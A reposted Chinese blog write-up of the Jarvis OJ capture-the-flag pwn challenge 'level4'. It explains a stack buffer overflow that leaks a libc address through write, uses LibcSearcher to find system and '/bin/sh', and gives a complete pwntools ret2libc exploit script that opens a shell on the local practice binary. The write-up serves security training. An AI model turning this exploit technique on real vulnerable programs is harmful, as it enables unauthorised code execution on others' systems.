[Jarvis OJ - PWN]——[XMAN]level4
生活随笔
收集整理的這篇文章主要介紹了
[Jarvis OJ - PWN]——[XMAN]level4
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
[Jarvis OJ - PWN]——[XMAN]level4
- 題目地址: https://www.jarvisoj.com/challenges
- 題目:
checksec一下
IDA中
思路
0x100 - 0x88 = 120, 多余的空間足夠我們進行棧溢出利用
但是我們沒有system和’/bin/sh’地址。也不知道libc版本, 我們可以先leek出來一個地址, 利用偏移找到system和’/bin/sh’地址。再返回main進行循環調用,第二次就可以直接控制返回到system。
exploit
from pwn import * from LibcSearcher import * p = process("./level4") #gdb.attach(p, "b *0x0804846D") elf = ELF("./level4") write_plt = elf.plt['write'] read_got = elf.got['read'] main_addr = 0x08048470 payload = 'a' * (0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(read_got) + p32(4)p.sendline(payload) read_addr = u32(p.recv(4)) print hex(read_addr) libc = LibcSearcher("read", read_addr) libc_base = read_addr - libc.dump('read') sys_addr = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh') payload = 'a' * (0x88 + 0x4) + p32(sys_addr) + p32(0) + p32(binsh) p.sendline(payload) p.interactive()總結
以上是生活随笔為你收集整理的[Jarvis OJ - PWN]——[XMAN]level4的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [Jarvis OJ - PWN]——S
- 下一篇: [Jarvis OJ - PWN]——T